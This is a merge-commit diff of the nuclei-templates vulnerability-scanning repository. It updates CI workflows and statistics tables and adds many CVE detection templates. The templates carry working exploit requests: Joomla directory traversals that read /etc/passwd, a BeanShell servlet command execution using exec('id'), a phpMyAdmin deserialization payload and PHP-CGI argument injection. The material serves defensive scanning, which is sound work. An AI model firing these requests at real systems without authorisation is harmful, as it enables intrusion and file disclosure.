Merge branch 'projectdiscovery:master' into master

2021-09-16 14:16:47 -05:00 · 2021-09-16 14:16:47 -05:00 · 961dad4098
parent 252214e677 fdc98d1405
commit 961dad4098
913 changed files with 7293 additions and 2509 deletions
--- a/.github/workflows/cve-annotate.yml
+++ b/.github/workflows/cve-annotate.yml
@ -0,0 +1,46 @@
+name: ✍🏻 CVE Annotate
+
+on:
+  push:
+    branches:
+      - master
+  workflow_dispatch:
+
+jobs:
+  docs:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+          token: ${{ secrets.GITHUB_TOKEN }}
+
+      - uses: actions/setup-go@v2
+        with:
+          go-version: 1.17
+
+      - name: Generate CVE Annotations
+        id: cve-annotate
+        run: |
+          if ! which cve-annotate > /dev/null; then
+            echo -e "Command cve-annotate not found! Installing\c"
+            go install github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@dev
+          fi
+          cve-annotate -i ./cves/ -d .
+          echo "::set-output name=changes::$(git status -s | wc -l)"
+
+      - name: Commit files
+        if: steps.cve-annotate.outputs.changes > 0
+        run: |
+          git config --local user.email "action@github.com"
+          git config --local user.name "GitHub Action"
+          git add cves
+          git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a
+
+      - name: Push changes
+        if: steps.cve-annotate.outputs.changes > 0
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
--- a/.github/workflows/template-validate.yml
+++ b/.github/workflows/template-validate.yml
@ -6,13 +6,10 @@ jobs:
  build:
    runs-on: ubuntu-latest
    steps:
-      - name: Checkout Repo
-        uses: actions/checkout@master
-
-      - name: Setup golang
-        uses: actions/setup-go@v2
-        with:
-          go-version: 1.14
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.17

      #- name: Cache Go
      #  id: cache-go
@ -26,11 +23,11 @@ jobs:
        env:
          GO111MODULE: on
        run: |
-          go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
+          go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@master
        shell: bash

      - name: Template Validation
        run: |
-          nuclei -validate -t . -exclude .pre-commit-config.yaml
-          nuclei -validate -w ./workflows -exclude .pre-commit-config.yaml
+          nuclei -validate -t .
+          nuclei -validate -w ./workflows
        shell: bash
--- a/.github/workflows/templates-stats.yml
+++ b/.github/workflows/templates-stats.yml
@ -11,21 +11,14 @@ jobs:
    runs-on: ubuntu-latest
    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
    steps:
-      - name: Checkout Repo
-        uses: actions/checkout@master
-        with:
-          fetch-depth: 0
-
-      - name: Setup golang
-        uses: actions/setup-go@v2
-        with:
-          go-version: 1.14
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.17

      - name: Installing Template Stats
-        env:
-          GO111MODULE: on
        run: |
-          go get -v github.com/projectdiscovery/templates-stats@main
+          go install github.com/projectdiscovery/templates-stats@main
        shell: bash

      - name: Markdown Stats
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
--- a/.yamllint
+++ b/.yamllint
@ -2,7 +2,7 @@
 extends: default

 ignore: |
-  .pre-commit-config.yaml
+  .pre-commit-config.yml
  .github/workflows/*.yml

 rules:
--- a/README.md
+++ b/README.md
@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   649 | dhiyaneshdk   |   245 | cves             |   657 | info     |   610 | http    |  1833 |
-| panel     |   236 | pikpikcu      |   244 | vulnerabilities  |   284 | high     |   526 | file    |    46 |
-| xss       |   224 | pdteam        |   198 | exposed-panels   |   235 | medium   |   406 | network |    39 |
-| lfi       |   221 | daffainfo     |   176 | exposures        |   185 | critical |   232 | dns     |    11 |
-| exposure  |   217 | geeknik       |   149 | technologies     |   164 | low      |   160 |         |       |
-| wordpress |   205 | dwisiswant0   |   132 | misconfiguration |   125 |          |       |         |       |
-| rce       |   190 | gy741         |    72 | takeovers        |    71 |          |       |         |       |
-| cve2020   |   157 | madrobot      |    62 | default-logins   |    52 |          |       |         |       |
-| wp-plugin |   138 | princechaddha |    54 | file             |    46 |          |       |         |       |
-| tech      |   106 | pussycat0x    |    48 | workflows        |    35 |          |       |         |       |
+| cve       |   690 | dhiyaneshdk   |   252 | cves             |   696 | info     |   625 | http    |  1904 |
+| lfi       |   250 | pikpikcu      |   250 | vulnerabilities  |   291 | high     |   540 | file    |    46 |
+| panel     |   248 | daffainfo     |   199 | exposed-panels   |   247 | medium   |   428 | network |    41 |
+| xss       |   227 | pdteam        |   195 | exposures        |   186 | critical |   267 | dns     |    11 |
+| exposure  |   226 | geeknik       |   151 | technologies     |   178 | low      |   147 |         |       |
+| wordpress |   207 | dwisiswant0   |   132 | misconfiguration |   131 |          |       |         |       |
+| rce       |   195 | gy741         |    72 | takeovers        |    63 |          |       |         |       |
+| tech      |   169 | madrobot      |    62 | default-logins   |    56 |          |       |         |       |
+| cve2020   |   160 | princechaddha |    60 | file             |    46 |          |       |         |       |
+| wp-plugin |   140 | pussycat0x    |    58 | workflows        |    36 |          |       |         |       |

-**147 directories, 1989 files**.
+**164 directories, 2063 files**.

 </td>
 </tr>
--- a/TEMPLATES-STATS.json
+++ b/TEMPLATES-STATS.json
--- a/TEMPLATES-STATS.md
+++ b/TEMPLATES-STATS.md
--- a/TOP-10.md
+++ b/TOP-10.md
@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   649 | dhiyaneshdk   |   245 | cves             |   657 | info     |   610 | http    |  1833 |
-| panel     |   236 | pikpikcu      |   244 | vulnerabilities  |   284 | high     |   526 | file    |    46 |
-| xss       |   224 | pdteam        |   198 | exposed-panels   |   235 | medium   |   406 | network |    39 |
-| lfi       |   221 | daffainfo     |   176 | exposures        |   185 | critical |   232 | dns     |    11 |
-| exposure  |   217 | geeknik       |   149 | technologies     |   164 | low      |   160 |         |       |
-| wordpress |   205 | dwisiswant0   |   132 | misconfiguration |   125 |          |       |         |       |
-| rce       |   190 | gy741         |    72 | takeovers        |    71 |          |       |         |       |
-| cve2020   |   157 | madrobot      |    62 | default-logins   |    52 |          |       |         |       |
-| wp-plugin |   138 | princechaddha |    54 | file             |    46 |          |       |         |       |
-| tech      |   106 | pussycat0x    |    48 | workflows        |    35 |          |       |         |       |
+| cve       |   690 | dhiyaneshdk   |   252 | cves             |   696 | info     |   625 | http    |  1904 |
+| lfi       |   250 | pikpikcu      |   250 | vulnerabilities  |   291 | high     |   540 | file    |    46 |
+| panel     |   248 | daffainfo     |   199 | exposed-panels   |   247 | medium   |   428 | network |    41 |
+| xss       |   227 | pdteam        |   195 | exposures        |   186 | critical |   267 | dns     |    11 |
+| exposure  |   226 | geeknik       |   151 | technologies     |   178 | low      |   147 |         |       |
+| wordpress |   207 | dwisiswant0   |   132 | misconfiguration |   131 |          |       |         |       |
+| rce       |   195 | gy741         |    72 | takeovers        |    63 |          |       |         |       |
+| tech      |   169 | madrobot      |    62 | default-logins   |    56 |          |       |         |       |
+| cve2020   |   160 | princechaddha |    60 | file             |    46 |          |       |         |       |
+| wp-plugin |   140 | pussycat0x    |    58 | workflows        |    36 |          |       |         |       |
--- a/cnvd/CNVD-2020-68596.yaml
+++ b/cnvd/CNVD-2020-68596.yaml
@ -12,24 +12,17 @@ requests:
      - |
        POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
-        Content-Length: 5
        Content-Type: application/x-www-form-urlencoded
-        Accept-Encoding: deflate

        "1":1
      - |
        GET /public/index.php/home/file/user_pics HTTP/1.1
        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
-        Accept-Encoding: gzip
-        Accept-Encoding: deflate
+

      - |
        GET {{endpoint}} HTTP/1.1
        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
-        Accept-Encoding: deflate

    extractors:
      - type: regex
--- a/cnvd/CNVD-2021-15822.yaml
+++ b/cnvd/CNVD-2021-15822.yaml
@ -12,7 +12,6 @@ requests:
      - |
        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=  HTTP/1.1
        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
--- a/cnvd/CNVD-2021-30167.yaml
+++ b/cnvd/CNVD-2021-30167.yaml
@ -14,7 +14,6 @@ requests:
      - | #linux
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("id");
@ -22,7 +21,6 @@ requests:
      - | #windows
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("ipconfig");
--- a/cves/2009/CVE-2009-1151.yaml
+++ b/cves/2009/CVE-2009-1151.yaml
@ -4,7 +4,7 @@ info:
  name: PhpMyAdmin Scripts/setup.php Deserialization Vulnerability
  author: princechaddha
  severity: high
-  description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
+  description: Setup script used to create PhpMyAdmin configurations can be fooled by using a crafted POST request to include arbitrary PHP code in the generated configuration file. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
  reference:
    - https://www.phpmyadmin.net/security/PMASA-2009-3/
    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
@ -17,11 +17,7 @@ requests:
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
-        Accept-Language: en
-        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
-        Connection: close
        Content-Type: application/x-www-form-urlencoded
-        Content-Length: 80

        action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

@ -33,4 +29,4 @@ requests:

      - type: regex
        regex:
-          - "root:.*:0:0:"
+          - "root:.*:0:0:"
--- a/cves/2009/CVE-2009-4223.yaml
+++ b/cves/2009/CVE-2009-4223.yaml
@ -2,7 +2,7 @@ id: CVE-2009-4223

 info:
  name: KR-Web <= 1.1b2 RFI
-  description: KR is a web content-server based on Apache-PHP-MySql technology who gives to internet programmers some PHP classes semplifying database content access. Elsewere, it gives some admin and user tools to write, hyerarchize and authorize contents.
+  description: KR is a web content-server based on Apache-PHP-MySql technology which gives to programmers some PHP classes simplifying database content access. Additionally, it gives some admin and user tools to write, hierarchize, and authorize contents.
  reference:
    - https://sourceforge.net/projects/krw/
    - https://www.exploit-db.com/exploits/10216
--- a/cves/2010/CVE-2010-1307.yaml
+++ b/cves/2010/CVE-2010-1307.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1307
+
+info:
+  name: Joomla! Component Magic Updater - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12070
+    - https://www.cvedetails.com/cve/CVE-2010-1307
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1308.yaml
+++ b/cves/2010/CVE-2010-1308.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1308
+
+info:
+  name: Joomla! Component SVMap 1.1.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the SVMap (com_svmap) component 1.1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12066
+    - https://www.cvedetails.com/cve/CVE-2010-1308
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1312.yaml
+++ b/cves/2010/CVE-2010-1312.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1312
+
+info:
+  name: Joomla! Component News Portal 1.5.x - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12077
+    - https://www.cvedetails.com/cve/CVE-2010-1312
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1352.yaml
+++ b/cves/2010/CVE-2010-1352.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1352
+
+info:
+  name: Joomla! Component Juke Box 1.7 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JOOFORGE Jutebox (com_jukebox) component 1.0 and 1.7 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12084
+    - https://www.cvedetails.com/cve/CVE-2010-1352
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1472.yaml
+++ b/cves/2010/CVE-2010-1472.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1472
+
+info:
+  name: Joomla! Component Horoscope 1.5.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Daily Horoscope (com_horoscope) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12167
+    - https://www.cvedetails.com/cve/CVE-2010-1472
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1473.yaml
+++ b/cves/2010/CVE-2010-1473.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1473
+
+info:
+  name: Joomla! Component Advertising 0.25 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12171
+    - https://www.cvedetails.com/cve/CVE-2010-1473
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1476.yaml
+++ b/cves/2010/CVE-2010-1476.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1476
+
+info:
+  name: Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the AlphaUserPoints (com_alphauserpoints) component 1.5.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the view parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12150
+    - https://www.cvedetails.com/cve/CVE-2010-1476
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1531.yaml
+++ b/cves/2010/CVE-2010-1531.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1531
+
+info:
+  name: Joomla! Component redSHOP 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the redSHOP (com_redshop) component 1.0.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12054
+    - https://www.cvedetails.com/cve/CVE-2010-1531
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1534.yaml
+++ b/cves/2010/CVE-2010-1534.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1534
+
+info:
+  name: Joomla! Component Shoutbox Pro - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Shoutbox Pro (com_shoutbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12067
+    - https://www.cvedetails.com/cve/CVE-2010-1534
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1607.yaml
+++ b/cves/2010/CVE-2010-1607.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1607
+
+info:
+  name: Joomla! Component WMI 1.5.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in wmi.php in the Webmoney Web Merchant Interface (aka WMI or com_wmi) component 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12316
+    - https://www.cvedetails.com/cve/CVE-2010-1607
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1719.yaml
+++ b/cves/2010/CVE-2010-1719.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1719
+
+info:
+  name: Joomla! Component MT Fire Eagle 1.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the MT Fire Eagle (com_mtfireeagle) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12233
+    - https://www.cvedetails.com/cve/CVE-2010-1719
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_mtfireeagle&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1723.yaml
+++ b/cves/2010/CVE-2010-1723.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1723
+
+info:
+  name: Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the iNetLanka Contact Us Draw Root Map (com_drawroot) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12289
+    - https://www.cvedetails.com/cve/CVE-2010-1723
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_drawroot&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1952.yaml
+++ b/cves/2010/CVE-2010-1952.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1952
+
+info:
+  name: Joomla! Component BeeHeard 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the BeeHeard (com_beeheard) and BeeHeard Lite (com_beeheardlite) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12239
+    - https://www.cvedetails.com/cve/CVE-2010-1952
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1956.yaml
+++ b/cves/2010/CVE-2010-1956.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1956
+
+info:
+  name: Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Gadget Factory (com_gadgetfactory) component 1.0.0 and 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12285
+    - https://www.cvedetails.com/cve/CVE-2010-1956
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-1957.yaml
+++ b/cves/2010/CVE-2010-1957.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-1957
+
+info:
+  name: Joomla! Component Love Factory 1.3.4 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Love Factory (com_lovefactory) component 1.3.4 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12235
+    - https://www.cvedetails.com/cve/CVE-2010-1957
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-2034.yaml
+++ b/cves/2010/CVE-2010-2034.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-2034
+
+info:
+  name: Joomla! Component Percha Image Attach 1.1 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Percha Image Attach (com_perchaimageattach) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/34003
+    - https://www.cvedetails.com/cve/CVE-2010-2034
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-2037.yaml
+++ b/cves/2010/CVE-2010-2037.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-2037
+
+info:
+  name: Joomla! Component Percha Downloads Attach 1.1 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Percha Downloads Attach (com_perchadownloadsattach) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/34005
+    - https://www.cvedetails.com/cve/CVE-2010-2037
+  tags: cve,cve2010,lfi,joomla
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2010/CVE-2010-2920.yaml
+++ b/cves/2010/CVE-2010-2920.yaml
@ -0,0 +1,27 @@
+id: CVE-2010-2920
+
+info:
+  name: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12120
+    - https://www.cvedetails.com/cve/CVE-2010-2920
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2011/CVE-2011-2780.yaml
+++ b/cves/2011/CVE-2011-2780.yaml
@ -0,0 +1,35 @@
+id: CVE-2011-2780
+
+info:
+  name: Chyrp 2.x - Local File Inclusion (LFI)
+  author: daffainfo
+  severity: high
+  tags: cve,cve2011,lfi,chyrp
+  description: "Directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744."
+  reference:
+    - http://www.justanotherhacker.com/advisories/JAHx113.txt
+    - http://www.openwall.com/lists/oss-security/2011/07/13/5
+    - http://www.ocert.org/advisories/ocert-2011-001.html
+    - http://www.openwall.com/lists/oss-security/2011/07/13/6
+    - http://www.securityfocus.com/bid/48672
+    - http://secunia.com/advisories/45184
+    - http://osvdb.org/73891
+    - http://securityreason.com/securityalert/8312
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565
+    - http://www.securityfocus.com/archive/1/518890/100/0/threaded
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2011/CVE-2011-4336.yaml
+++ b/cves/2011/CVE-2011-4336.yaml
@ -10,6 +10,11 @@ info:
    - https://www.securityfocus.com/bid/48806/info
    - https://seclists.org/bugtraq/2011/Nov/140
  tags: cve,cve2011,xss,tikiwiki
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2011-4336
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2012/CVE-2012-1823.yaml
+++ b/cves/2012/CVE-2012-1823.yaml
@ -16,9 +16,7 @@ requests:
      - |
        POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
